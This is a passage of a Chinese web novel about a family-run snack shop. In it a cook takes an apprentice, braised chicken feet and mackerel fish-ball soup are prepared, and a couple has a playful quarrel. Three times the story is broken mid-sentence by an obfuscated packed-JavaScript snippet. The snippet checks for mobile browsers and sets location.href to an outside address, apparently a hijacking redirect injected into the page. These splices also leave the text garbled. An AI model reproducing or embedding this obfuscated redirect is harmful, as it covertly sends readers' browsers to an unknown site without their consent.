成功拜了师的阿平悄悄看着抱在一起的师父师娘还有哦屁，嘴角上扬。 95. 洪濑鸡爪1 “月娘头家，你家是碰上什么好事了？怎么还一大清早地放起了鞭炮？” 天刚亮没多久，对门的林阿婆便带了一筐子自家鸡母下的蛋走进了月娘小吃铺里。 苏月娘正好闲着，便拉了一把椅子请林阿婆坐下。 “是我家阿山收徒弟了！我哥就放一串鞭炮庆祝一下！” 林阿婆将手里的那筐子鸡蛋递给了许春喜，“这是这几天刚下的蛋，个头大，拿来给你们尝尝！” “这个头比我公公婆婆从山上摸的土鸡蛋大了不少！”许春喜将鸡蛋端回厨房放着。 “对了，你家大徒弟是谁？谁那么厉害能入得了你家那大厨的眼！” 苏月娘看了一眼在厨房里围着许东山忙碌的阿平，笑道：“就是以前那个阿平，昨天我和阿山才去刘叔那儿将他要回来呢！” “阿平可是个哑巴……你家那个大块头要是骂他一句打他一下，他委屈了，还哭不出声……这看着多可怜啊……”林阿婆面露怜悯。 苏月娘压低声音，“虽然我们阿山刚刚还威胁说以后不会对阿平太仁慈，但阿山这人就是看着吓人，其实对谁都很好！他才不会舍得骂他大徒弟了，昨晚上他还跟我说收徒弟就跟成亲一样……” 林阿婆一时没忍住，笑出了声来，“你说得对，能找上你这么好的媳妇的人，一定也是个大好人！” 有客人过来小坐，水果与茶水总是要准备的，有了大徒弟的许东山心安理得地将事情都交给了大徒弟去干，自己闲下来泡茶切橙子洗橄榄，再将茶盘和果盘一并送出去。 “配点茶聊。”许东山放下东西后就准备走。 苏月娘忙拉住了他，“你头一回收徒弟可得好好庆祝一下，晚上咱们张罗一顿好的吧？” 许东山点点头，“行，午后我去街上买点菜，顺带去刘家喊刘叔他们晚上过来吃。” “阿婆晚上别煮了，来我家一起热闹热闹！” 想着这是别人家的喜事，自己一个外人过来凑热闹也不合适，林阿婆下意识就摆手想要拒绝，“你们两家自己热闹就好！我一个老婆子过来凑什么热闹啊……” “我还打算请阿莲她们过来呢！我家的鸭子还寄养在你们两家，咱们合作做生意，你来我家吃一顿席不是很正常的事情吗？” 既然苏月娘这样说，林阿婆也就欣然点头同意了。 —— 隔壁许氏面线糊的丑事已经传得整个镇子都知道了，李金花大概也没脸再做生意了。 自隔壁那一家三口从衙门回来，苏月娘便再也没见过隔壁那家开过门。 这样一来，所有的生意都落到了月娘小吃铺里，这一日，月娘小吃铺里忙得不可开交。 好在准备的东西总是有限的，咸饭、鸭子都卖完之后，人明显少了许多，许东山让林大松和阿平继续待在家里做米粉，自己则拎上菜篮子出门买菜。 今天要请的客人多，菜得多买一些，猪羊总是必备的，另配上几样简单好做又拿得出手的海鲜和时令蔬菜，再配上一坛林大松带来的自酿米酒便也能成一桌席面。 许东山去得不算太晚，还能够挑到一些好菜。 杀猪匠给许东山剁排骨时，还笑着问道：“刚刚我看你家对门的林阿婆在前头卖鸡的那儿买了一大盆鸡爪，说是晚上要带到你家的席上去吃，怎么？你家出了什么喜事！” “今天收徒了，吃顿好的庆祝一下。” 大客户收徒弟了，杀猪匠表示祝贺，他随手抓了两块猪腰子，“恭喜啊许师傅！这两块猪腰子给你当贺礼了！切一切炖一炖，也能当一样汤上桌！” 谢过杀猪匠的好意后，心情极好的许东山扫了眼切成了一堆小山一样的排骨，“这两天生意还挺不错的，明天多帮我准备一半，卯时后我过来取。” …… 许东山这一路买下去，不管是别人主动问的，还是许东山看对方是熟人“无意间”透露的，反正只要是他接触过的人，基本都知道他收徒弟了。 半个多时辰后，许东山满载而归。 刚要进家门，林阿婆站在她家门口大声吆喝。 “晚上要带去你家吃的鸡爪都下水焯了，才想起来家里没有香料！阿山你给我送点香料过来！” “您等着！”许东山往里头走了两步，忽然想起了曾经在林阿婆吃饭的时候，看过几次她做的那些看起来没滋没味的饭菜，他又走了出去，喊住了林阿婆，“把鸡爪端到我家来做吧！我家的锅多又大！” 林阿婆纠结了一番，不过她很快想通自己的手艺可不如对门里的任何一个人，与其自己在这儿瞎琢磨浪费鸡爪，不如让对门的年轻人们来做。 许东山将买来的菜放下之后，便到处去找许春喜。 这会儿，店里没什么客人，洗完碗筷的许春喜正好能够寸步不离地监督林大松搓洗衣裳，只要林大松一松懈，她就一脚上去，不容他偷懒半分。 “春喜，林阿婆给我们准备了鸡爪，你现在过来卤一下。”许东山看妹妹妹夫像是在打情骂俏，将卤鸡爪的事情简单交代完之后，便很有眼力见地离开了后屋。 若说许春喜最擅长的是做各种各样的甜食，那卤东西便是她第二擅长的，毕竟从前许东山在外学艺的日子里，都是她帮着自家老爹准备面线糊的各种卤料。 “可以卤洪濑鸡爪吗？那个可好吃了！”一提起鸡爪，林大松头一个想到的就是南安洪濑镇的鸡爪，洪濑鸡爪可是一绝！ “你除了吃还会干什么！好好干活！不许偷懒！”许春喜瞪了他一眼。 林大松看着被冷水泡红了的双手，委屈巴巴地看向许春喜，“我真把你的衣裳搓得很干净了！一点东西都没留下！” “继续搓！再搓一遍！再有下次就让你搓十遍！”放下狠话后，许春喜顺手摘了几颗番姜后，便赶去前头做鸡爪了。 …… 林阿婆已经将焯过水的鸡爪端过来了。 “怕你们嫌脏，我刚刚不仅把这些鸡爪子仔细搓了两遍，还给这些爪子都剪了指甲！”林阿婆得意地将鸡爪子展示给许春喜看。 焯过水、剪过指甲的鸡爪，爪皮收缩紧致，指头处光秃圆润，隐约可见内里鸡骨。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671271|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一盆鸡爪少说也得有四十只，林阿婆眼神又不怎么好，剪鸡指甲定然花了她很多气力。 “您刚刚就该把东西拿过来我弄！我刚刚正好闲着没事干呢！”卤洪濑鸡爪要用的香料太多，许春喜在橱子里翻了半天没将东西找齐全，便喊来了在一旁教阿平切菜的许东山，“哥你过来把香料都拿下来！” “好好切，今天没切出均匀的红菜丝，你就站在旁边看我们吃。”吓唬完大徒弟，许东山走到许春喜身边，长手一伸，将堆积在橱子深处的香料都取了下来。 许春喜挨个罐子看了一番，确认东西够了，便关上了橱子的门。 林阿婆目瞪口呆，“卤鸡爪用得上这么多料？我以前最多也就用四五样！” “反正家里的香料多到用不完，不过就是多抓几下的事情，也费不了什么事儿！” 洪濑鸡爪通常会被做成浓重的赤酱色，而其染色的秘诀便是栀子水与糖色，这是常规的调料所难以达到的。 许春喜提前取了三枚栀子花干，浸泡在开水里，令栀子花干慢慢出色。 接着，少油入锅，倒上足量的白糖，等柴火烧旺，油温升高，白糖慢慢地融化在热油之中，糖油变成了香油色，许春喜见她哥的大徒弟切好了一小撮红菜丝，便使唤道：“大徒弟，过来把灶膛里的火弄小一点！” 目前为止，阿平还在为自己拜了师的事情而开心，许春喜一喊他大徒弟，他就放下手里的菜刀，丢下正在检查红菜丝的师父，去帮许春喜弄柴火了。 灶膛里的火小了下来，香油色的糖油也慢慢变成了暗红带着点焦黑的模样，许春喜正好将栀子水端来往锅里倒，栀子水倒入锅中，触及滚烫的糖油，油便往上溅了起来，许春喜爱惜她的手，一倒完栀子水便往后一躲，等锅里稍微平息下来，再走上前去用大勺捞出里头的三枚栀子干，以防卤水变味。 紧接着，许春喜迅速照着手感依次将番姜、八角、桂皮、花椒、白纸、山奈、香叶、小茴香、丁香各抓一小撮放到大纱布中结结实实地扎了起来，再丢到锅里去煮，老抽生抽、盐、糖自然是不能落下。 正宗的洪濑鸡爪卤制时还需添入猪骨高汤与老母鸡汤，但是店里并没有鸡汤，许春喜就单用猪骨高汤下去卤制。 林阿婆也帮不上什么忙，就在边上叉着腰盯着许春喜看，“还是你做东西舍得放料！不然我做的话不仅不会放那么多香料，还会直接用清水下去煮！” “也就是请人吃饭会这样费点心思，不然就自家人吃，我也会同您一样，随意做一些！”卤水制成，许春喜慢慢地将鸡爪倒入了卤水里，煮至卤水沸腾，带着咸甜滋味的香料味儿泡满了整间厨房，。 这味道闻着新奇，在边上练习刀工的阿平忍不住频频抬头，往许春喜那儿张望。 许东山见阿平有些不专心，皱着眉头“啧”了一声，“这才学手艺第一天你就分心！当心我打你！” 阿平一个激灵，赶忙回过头，继续切红菜丝。 鸡爪经过大火小火卤煮了将近一刻半钟，许春喜便将鸡爪捞了起来，以防这鸡爪被煮得过于软烂。 96. 洪濑鸡爪2 晚上要请客，酉时一到，苏月娘便宣布关门。 挂上打烊招牌没多久，阿莲母女还有除了刘昌之外的刘家人便各自带着点东西上门等吃这“拜师宴”了。 厨房是男人们的战场，苏月娘、许春喜还有红姑负责在堂屋里陪客人们说话。 阿莲走街串巷地做生意，自是消息最灵通的那个，“你家许师傅可是到处去说他收徒弟了，今午后我走了五条巷子，有三条巷子的人都在说他收徒的事情。” 苏月娘这一整日都闷在店里做事，自然是不知道许东山出去买菜时，发生的那些事情。 “啊？这人收个徒弟激动成这样？” “起初我还不相信他会将这事儿到处去说，直到我挑着担子回家，碰见他站在街边和林木匠讲他收徒弟的事情。” 苏月娘，“……” 得了，阿平还真成了宝贝大徒弟了。 洪濑鸡爪大概算是一道凉菜，许春喜见时候差不多了，回了厨房将搁橱柜里放凉的鸡爪端出来沥掉卤汁水。 许春喜将鸡爪从中剁开，一分为二，一边两个指头。 这样一来，原先只能装一平盆的鸡爪便能装两盆七分满的，最后一步，往盆里倒上小半勺麻油，端着盆用力摇晃了一番。 卤得酱黑的鸡爪在盆里滚翻转，而后跃动起来，反反复复十来次，麻油均匀地裹在了每一只鸡爪上头，让这鸡爪蒙上了一层喜人的油亮。 知道林大松已经想着这口很久了，许春喜在将鸡爪端出去之前，捏起半只鸡爪，往林大松嘴边送去。 林大松叼着那只鸡爪冲着许春喜一个劲儿地笑，许春喜轻轻踢了他一下，叫他认真干活。 今天人有些多，一桌坐不下，便分为两桌，许春喜往两张桌子上各放一盆鸡爪，“这可是我们林阿婆带的鸡爪，大家尝尝！” 林阿婆率先伸手夹了鸡爪，“鸡爪是我买的，但却是春喜卤的！” 阿莲的娘将皮质紧实的鸡爪放到嘴里唆了一口，再咬下鸡指上的薄皮，咸甜弹牙，脆筋爽口，虽然不好品出这鸡爪究竟掺了什么香料卤制，但这鸡爪就一个字： 香！ “许家这姑娘可真能干！不仅三合面做得好，连卤鸡爪的手艺都是一绝！”前些日子阿莲买了一斤三合面孝敬娘亲，阿莲娘尝过了那料足味浓的三合面就知道许春喜做甜食的手艺不赖。 许春喜乐意听别人夸自己，但仅限于默默听着，不然容易叫人觉得她很不谦虚。 刘昌下值后直接赶到了月娘小吃铺，他一进门，菜刚好上齐。 “第一天学手艺能适应吗？没惹你师父生气吧？”刘昌虽然知道许东山人好，但一想起他那大块头，就怕他一个不爽会抽阿平。 阿平眼睛亮闪闪地摇了摇头。 众人分两桌而坐，一桌男，一桌女，阿生原是被安排在他阿嬷身边的，但他坚持自己是大人了，非得挤到许东山和阿平中间去。 …… 硬菜固然是大家所爱，但一桌子菜吃得七七八八之后，还不打算散的大家伙又往杯中倒了些米酒，配着洪濑鸡爪、卤猪肝、卤腐竹又吃了一顿。 刘昌和他儿子都是读书人，平日里最是会克制自己的吃相，但今日父子俩心情不错，鸡爪又美味，两人竟也和同桌人一样，舍弃了碍事儿的筷子，直接用手抓着鸡爪啃食。 刘昌手边的骨碟里堆的鸡爪骨头是最多的。 “阿山，明天我去买上两斤鸡爪，拜托你帮我卤了，我带去衙门给人尝尝！” 衙门是个严肃的地方，在办差时公然吃东西定是不成，刘昌将鸡爪带去，必然是想私底下送给顶上那几个当官的尝尝鲜。 和衙门里的人打好关系不失为一件好事，许东山就先帮着应下了。 —— 许东山吩咐过刘昌不必自己去买鸡爪，因为他有自己的想法。 拜师宴散，拾掇过狼藉，天色已是不早，大家都打着哈欠，眼冒泪花地上床歇息。 许东山和苏月娘辛苦一整日了，这会儿已然没有精力再去折腾其他的事情了。 苏月娘抱着许东山的腰身取暖，沉重的眼皮子在不停地打架。 瞧苏月娘快睡着了，许东山拍了拍她的胳膊，让她先别睡。 “刚刚刘叔让我帮他弄两斤鸡爪。” 苏月娘迷迷糊糊地应了一声，“嗯……那你们兄妹俩商量着做呗……” “我想着卤鸡爪也不费什么事，我们每天可以卤上一锅，论斤卖。” 说起赚钱的事儿，苏月娘立即清醒了过来，她往许东山胳膊上一躺，与他一起琢磨起了卖鸡爪的事儿。 “这自然是好……而且我来这么久了，就没在咱们镇子上看见卖卤鸡爪的店！” “嗯，而且卤鸡爪的香料不便宜，糖油也用得尤其多，我们可以将这鸡爪卖得贵一些……从前我们店里吃食的价钱偏便宜，或许我们可以借着鸡爪，将以后的吃食的价钱往上提一提。” 许东山这话说得很有道理，现在不打仗，百姓们手头慢慢宽裕起来了，再加上自家的小吃味道好、隔壁李金花的倒台，自家小吃的售价也能慢慢往上涨一点了。 苏月娘翻了个身，笑眯眯地捧着许东山的脸，在他唇上亲了一口，“当了师父的人就是不一样，脑子越来越灵光了！” 这话听得许东山老脸一红，方才收拾桌子洗碗的时候，苏月娘、许春喜还有红姑就已经对他和别人说自己收徒弟事情调侃了一番。 “好了，不许说了！”许东山被苏月娘枕在脑袋下的手往上一弯，捂住了苏月娘的嘴巴。 苏月娘“唔唔唔”地笑了起来。 许东山无奈地松开手，“别笑了。” “师父师父～我们许师父不仅手艺好，脑子转得也快！” 许东山羞愤得将胳膊一抽，转过身去，将后脑勺对着苏月娘。 “师父师父你不要生气嘛……大不了以后我不叫你师父了！我抱你一下你就别跟我生气了！”苏月娘两手硬要从许东山胳膊缝里钻过去，奈何许东山一直压紧两条胳膊，不容苏月娘抱他。 …… 整鸡好买，可单卖鸡爪的不多。 许东山天没亮就出门了，去问了杀猪匠昨日林阿婆是朝哪个鸡贩子买的鸡爪。 顺利找到那个鸡贩后，许东山与他问起了鸡爪的事情。 虽说鸡爪这东西好好做也是味道极美的下酒菜，但不少人家不会做鸡爪，还认为吃了鸡爪会“抓破财”，买鸡回家炖的时候，还会特地要求杀鸡匠把鸡爪剁下来。 没被带走的鸡爪时常会被杀鸡匠随手丢掉。 既然鸡爪没人要，那鸡爪就便宜了。 可本镇买鸡杀鸡的人家毕竟有限，要收多一些鸡爪还是得靠这个卖鸡贩四处多跑一跑。 许东山盯着那笼子一直“咯咯咯咯哒”叫个不停的肥鸡，仔细地掰着手指，艰难地算了一番成本。 “行，就先照你刚刚说的价来，要是我家月娘不满意，我再来跟你谈。”许东山数了二十个铜板，付了三斤鸡爪的钱，并和对方约好了两日之后过来取五斤鸡爪。 许东山归家之后，天都亮了，苏月娘也出来给客人们端面线糊。 “你回来啦？买到鸡爪了吗？”苏月娘将调羹给客人递上之后，便追在许东山身后要瞧他买了什么菜。 许东山还记得苏月娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675342|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨晚嘲笑他的事情，他看都不看她，就只是冷淡地“嗯”了一声。 “买了什么菜？” 许东山，“自己看。” 苏月娘看着侧脸冷峻的许东山，撇了撇嘴，骂道：“小心眼！” 许春喜见这两人气氛冷淡，忙放下将刚做好的三合面往窗台上一放，凑到苏月娘身边去问道： “你和我哥怎么了？吵架了？” “我不就开玩笑喊他师父，还笑了他两句，他就生气不理我了！” “这样啊……”许春喜抬头看向正在指挥阿平处理鸡爪的许东山，故意放大声音道：“月娘，你说有些人啊，好不容易讨到媳妇了，还敢跟媳妇生气，要是林大松敢这样对我，我早就把他赶出家门了！” 剪醋肉的林大松朝着许春喜投去了疑惑的目光。 许东山知道许春喜是在点自己，他身形一顿，皱着眉，小声道：“我没生气。” “哦，有些人嘴上说着不生气，实际上脚都不肯走动两步过来哄一哄人……真的是林大松还不如！” 林大松再次回头，“？？？” 苏月娘赶紧顺着许春喜的话抱着胳膊，微微仰着脑袋，等着许东山过来哄一哄自己。 随便许春喜说什么，许东山可能还不会有什么反应，但是许春喜说他不如林大松，这他可忍不了。 “好好搓掉鸡爪上的脏东西，再把鸡指甲都剪掉！” 与阿平吩咐过后，许东山便动身去哄苏月娘了。 阿平一边用力地给鸡爪搓澡，一边偷偷地回头，想看看沉默寡言的师父究竟是怎么哄师娘的。 经过许春喜这么一吆喝，大家都知道许东山惹苏月娘生气了，这下不仅阿平，就连红姑都进来看热闹了。 许东山走向嘴巴撅得可以吊起水桶的苏月娘，察觉众人的眼神，他皱着眉头，拉上苏月娘去后屋说话。 没能看到热闹的大家伙一哄而散，各干各的活去了。 两口子一起走到后屋天井去，苏月娘冷哼一声，甩开了许东山。 “明明是你先欺负人的，怎么还生气了？”许东山无奈地伸手捏了捏苏月娘高高撅起的嘴巴。 被捏着嘴的苏月娘凶狠地瞪着许东山。 蹲在门缝后面偷看的哦屁看到娘生气了，赶忙摇着尾巴飞奔过来，站在娘的身边，呲着它还没长齐的小狗牙，冲着高大的爹示威。 当然了，哦屁太矮了，许东山并没有注意到它。 强行将那撅高的嘴唇压平了之后，许东山才放下手。 “好了，我不跟你生气，你也别跟我生气了。” 苏月娘踩了许东山一脚，“我跟你生气是应该的，你凭什么跟我生气？你翅膀硬了？” 许东山看着无理取闹的苏月娘，只觉得她这样子和许春喜越来越相像了。 林大松那一被骂就道歉的精髓也叫许东山学了个大概，“是我不该跟你小心眼生气，你消消气。” 得逞了的苏月娘心里暗爽，但她还就是想试试成亲后吵架的滋味儿。 “晚了！我不能消气了！”说罢，苏月娘潇洒地转过身，走了。 哦屁也小跑着回温暖的屋里待着了。 许东山站在原地，兀自头疼。 此时，并不知道发生什么事情的阿生哼着童谣来后屋找哦屁玩。 “天黑黑，欲落雨，阿公拿锄头去掘芋，掘啊掘，掘啊掘，掘到一尾旋扭鼓，咿呀嘿呀真正趣味。” “阿公要煮咸，阿嬷要煮淡，两人相打弄破鼎，弄破鼎……”（1） 阿生一走出房巷就看到站在天井那儿皱眉的干爹。 干爹瞪他，“再唱揍你！” 97. 马鲛鱼羹 许东山朝许春喜请教了洪濑鸡爪要怎么卤，许春喜仔细地将步骤说了一番，至于那些香料的用量她说不太上来，就只能现抓现称。 好在兄妹俩一个会教，一个善学，许春喜简单教了一遍之后，许东山便将洪濑鸡爪的做法学会了。 出锅之后，苏月娘和林大松各尝了一只，纷纷表示这鸡爪和许春喜卤的味道基本没有什么区别。 听见苏月娘的夸奖，许东山朝她投去一个求和的眼神，苏月娘对上他的眼睛，结结实实地翻了一个白眼给他。 吃了瘪的许东山默默地将那盆鸡爪端去剁了，并称出刘昌要的两斤放在另外一个盆里泡入味儿，剩下的半斤则是泡到傍晚，给傍晚来吃饭的客人们尝尝鲜。 —— 午后申时，月娘小吃铺又飘出了浅淡的蒜香与姜香，这会儿没有客人，苏月娘闲下来抱着小哦屁坐在孤榻上面晒太阳。 小哦屁来这家里好一段时日了，苏月娘一直好吃好喝地养着它，从前也就许东山巴掌那样大的小狗如今变得比许东山的两只手掌还大一些，身上的黑毛油光水滑的，再加上它穿着一身细布小衣裳，眼神不好的路人远远看过来，只会觉得苏月娘抱着一个小孩在怀里。 对门林阿婆年纪大了少眠，这个大多数人在午睡的时候，她睡不着，便只能坐在门口给自己做年兜要穿的冬衣消磨时光。 一老一少相对坐着，总是免不得要聊上两句家常话的。 “马上就要年兜了，到时候春喜大松回浮桥去了，家里就你和阿山两口子在，难免冷清了一些……你和阿山赶紧生一个，不然冷冷清清的，也怪没意思的！” 苏月娘的手轻轻搁在哦屁圆圆的脑顶，有一下没一下地来回呼噜着，哦屁舒服得眼睛都快要闭上了。 “家里可不止我俩，还有我们哦屁呢！” 哦屁听见苏月娘喊它名字，懒洋洋地哼哼了两声。 毕竟这是人家家里的事情，林阿婆便没有再多嘴，只是打心里觉得现在的后生家还怪有意思的，竟然将一只小黑狗当成小孩子在养。 正当两人闲聊着，林捕头带着一队捕快走进了这巷子里。 普渡那件事情，林捕头在背后帮着出了不少气力，苏月娘站起来同他恭敬地问候一声是应该的。 “林捕头怎么忽然过来了？进来家里喝口热茶歇歇脚吗？” 林捕头摆摆手，“喝茶的事情一会儿再说吧！我这次过来是来通知许东石过几天去游街的事情的！” 林阿婆用牙咬断了衣裳上的线，“听说那家的儿子已经瘫了，这还怎么去游街啊？” “原先我们大人听说他人已经这样了，就想着说免了这一罚，但是老刘私底下问过阿平，谁知道阿平那孩子坚持要让许东石去游街示众！”林捕头冲着苏月娘笑，“你家这大徒弟还挺有意思！看着好欺负好说话，实际上不是个旁人一说就会轻易改变自己想法的……” 有人夸赞自家大徒弟，苏月娘这个做师娘的自然是开心。 “今日我和我这五个弟兄在你们镇子上还有别的案子要办，等我们下值了，上你家吃鸭子！你咸水鸭和姜母鸭各留两只，今天我请客！” 苏月娘满口应下。 林捕头身后的捕快们纷纷欢呼起来。 和苏月娘寒暄过后，林捕头带着手下们走到许二福家去敲门。 开门的是许二福，林捕头将衙门那儿开的文书交给许二福，再说明了游街示众的事情，许二福听后忙弯着腰向林捕头求情。 可林捕头鄙夷这家子的所作所为，许二福刚要给他跪下，他便带手下们快步离开了这条巷子，没过多久，隔壁便传来了李金花的哭喊咒骂声。 哦屁听这尖锐的声音，吓得直往苏月娘怀里拱，听得津津有味的苏月娘忙捂着自家小狗崽的脑袋，快步回了屋里躲着。 厨房里，许东山师徒还有林大松正在备傍晚要卖的鸭子。 今天，阿平学的是咸水鸭。 “十四那天许东石游街，到时候我带你去看热闹！”苏月娘走到阿平身边道。 忙着撇浮沫的阿平一边担心被师父骂，一边扭过头和师娘点头。 “刚刚林捕头还夸你来着，我这个当师娘的面上都增光不少呢！诶，对了，听说游街那处有一家味道很好的蜜饯铺子，到时候我领你和阿生去买上几斤放在家里慢慢吃！” 许东山原是不喜欢阿平这样频频分心的，但是叫阿平不停分心的人是苏月娘，他敢怒不敢言。 等到阿平不小心将刚捞起的浮沫洒到桌子上，许东山才走到阿平的另一侧，一手将一直喋喋不休的苏月娘揽走。 苏月娘没忘记还在和许东山闹脾气的事情，“谁允许你碰我的！你给我松开！” “让阿平好好干活！今天早上我买了两条马鲛鱼，晚上给你打马鲛鱼羹吃！到时候单独给你下一碗大粒的！” 许东山都这样求和了，苏月娘也不好再刻意同他置气，“不要！大粒的太占地方了，我要小粒的！还要下很多很多菜头片和姜丝！” 对于这种小要求许东山自然是会答应，“好，我记住了。” “刚刚和林阿婆话仙得我都口渴了，你去给我剥颗芦柑。” “好。” 和好的两口子牵着手出去找芦柑吃了，阿平站在原地松了口气。 终于不用夹在闹别扭的师父师娘中间提心吊胆了…… —— 林捕头和他那几个手下是店里最后一批客人。 给他们上了两只咸水鸭、两只姜母鸭还有一大碟洪濑鸡爪后，苏月娘还找出自家喝不完的米酒送给他们配着吃。 看着林捕头和他下属们在堂屋里热热闹闹地吃起了鸭子，苏月娘和许春喜将堂屋其他桌子简单收拾了一番，便回到厨房去帮忙做晚饭了。 马鲛羹汤由许东山领着阿平大徒弟来做。 两条刚杀好的新鲜马鲛鱼，许东山一条，阿平一条，师徒俩拿着铁打的薄勺子，一起刮着被顺着鱼骨分成两半的马鲛鱼肉。 马鲛鱼肉质紧实细腻，油水丰富，挺好刮的，许东山便没有特意嘱咐阿平什么。 “有什么需要帮忙的吗？”苏月娘从许东山身边探头。 许东山抬头四处看了看，“菜头已经片好了，你去稍微焯一下菜头，要是来得及，你就把姜丝和葱花芫荽一起切了。” 菜头总是或多或少地会有点儿苦味，许东山拿菜头做汤时，总会特意给菜头焯一遍水杀杀苦，再入汤烹煮。 这活简单，苏月娘提前去占了一口小锅干活去了。 两条鱼的肉茸刮好，还剩下四条缩在一起的马鲛鱼皮摆在案头，许东山挑了两条大片的丢给阿平，“把鱼皮条切幼（1）一点放到鱼茸里面，我去切点其他的。” 马鲛鱼羹还有一样关键的用料——猪肉碎，马鲛鱼羹里头的颗粒感便是这猪肉碎带来的。 带着少量肥膘的猪肉快速剁碎之后，许东山顺手剁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686027|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了姜蓉、蒜蓉，用刀刃一扫，全部拍在了猪肉碎上，再将这黄黄红红的猪肉用菜刀护着倒到阿平手边的盆里。 用盐、少量糖和酱油、胡椒粉、香油调味之后，再挖上两大勺许春喜今早做三合面剩下的红葱头酥放进去。 “去舀一大勺尖尖的地瓜粉放进去，然后你就可以开始搅鱼羹了。”搅和鱼羹这样容易脏手又简单的活，许东山必然是舀甩给他的好徒弟去练手。 苏月娘那儿已经焯好了菜头，切好了姜丝。 许东山取过这两样东西去到小锅边，生了火，等锅热了，倒油将那一小把姜丝爆香了，姜丝被热油煎去了嫩黄，颜色变暗了数分，趁着小油泡还在姜丝周围咕嘟咕嘟地冒着，许东山将沥干水分的菜头片倒进去快速翻炒几下，而后加上两大瓢清水开始煮汤底。 阿平认真地将那一大盆又白又红的肉茸揉搓搅拌，锅里的水烧滚了之后，许东山过来检查他搅的鱼羹，筷子在黏糊的胶羹里来回拨弄了几下，见内里没有夹杂着地瓜粉的颗粒，许东山满意了。 “可以，这鱼羹揉得不错，过来跟我一起下鱼羹。” 得了师父夸奖的阿平咧着嘴角追在许东山身边。 菜头和姜丝一起煮出来的汤底自来就带着一股清甜辛辣的味道，不论是下什么配料都会好喝。 马鲛鱼羹这东西的形状不必像做丸子那样太过讲究，凹凸不平，毫无形状才是马鲛鱼羹的精髓所在。 师徒俩一起用方才刮鱼肉的薄铁勺子蒯起凹凸不平的马鲛鱼羹顺着锅边，甩进了滚水里头，灰白色的马鲛鱼羹很快挤在了水面上方，底下的滚水不断地翻涌上来，将中间的马鲛鱼羹挤开。 一下完马鲛鱼羹，阿平便勤快地拿上锅勺要搅拌。 “先放着不要动，让这些鱼羹自己定型。”许东山拦住了阿平。 看着马鲛鱼羹在汤水中起起伏伏，碰来撞去好一会儿之后，许东山才允许阿平搅拌。 这个时候，马鲛鱼的鲜甜味道已经全然释放在了汤水之中，已经有些饥饿的阿平一边搅拌着马鲛鱼羹，他的肚子一边很不争气地发出了“咕咕”的声响。 这声音不算小，离阿平五步远的苏月娘都听见了。 “一会儿出锅先给阿平盛一碗！别把孩子饿坏了！” 阿平听了这话，耳根子变得红了起来。 许东山也心疼还在长身体的大徒弟忍着饥饿不好意思说出口，“以后饿了就直接自己找吃的，我和你师娘不缺你这一口！” 阿平轻轻点头。 马鲛鱼羹是今天最先出锅的，林大松和红姑那儿还有好一会儿才能结束，许东山给苏月娘、阿平阿生各盛了一碗垫垫肚子。 三个人齐齐坐在堂屋里喝汤，身后的林捕头等人还在乐呵呵地喝酒。 “月娘头家，你家这鸡爪味道真不错！还有吗？一会儿我买点回去！”林捕头举着一根鸡爪同苏月娘问道。 “您过两日再来吧，店里已经没有鸡爪了！” 林捕头有些遗憾，“那你记得给我留一斤！” 苏月娘应下后，将已经放凉的一勺马鲛鱼羹放进嘴里。 马鲛鱼的鲜甜当真不是盖的，一入口，便直中苏月娘的胃口。 自家做的马鲛鱼比起外头买的，不仅油香胡椒香更重，就连口感也更加爽脆，吃了一口便想要再吃第二口。 哪里像外头的马鲛鱼羹，松松散散的干柴鱼肉的口感，干吃上两口便叫人没有想吃的欲望。 98. 游街示众 苏月娘早和林捕头透过了底，初八要卖的鸡爪，会在初七傍晚先做好，等泡上一夜，鸡爪入味了才会往外售卖。 生怕苏月娘不记得给自己留鸡爪的林捕头特意交代刘昌初七晚上帮自己去月娘小吃铺取一趟鸡爪，刘昌懒得自己跑一趟，便吩咐阿平回家的时候一道把鸡爪带回去。 如今阿平身上的伤好得差不多了，腿脚便利了，加上他先前出的那事儿让大家都认识了他，他走到那儿都有人看着他嘀嘀咕咕的，有这么多人看着，刘昌也放心让阿平自己一个人回家。 初八开始卖鸡爪了，许东山和林大松两个勉强认几个字的起了个大早，一起凑在门头，琢磨着写了一张告示。 薄薄的红纸上写着并不美观的一行字【鸡爪二十文一斤】 等苏月娘和许春喜睡醒出来一瞧，对那歪歪扭扭的毛笔字甚是嫌弃，姑嫂俩又一起合力换了一张字体稍微秀气一点的，还添上了“洪濑”二字。 吴头家上门时，就瞧见了这一张鸡爪告示。 他带着啃着肉包子的阿墩一入座，苏月娘就先给吴头家按照老样子上了一碗。 “给他来碗花生汤吧。” 这回花生汤是许春喜去打的，苏月娘站在桌边给吴头家摆放调羹和筷子。 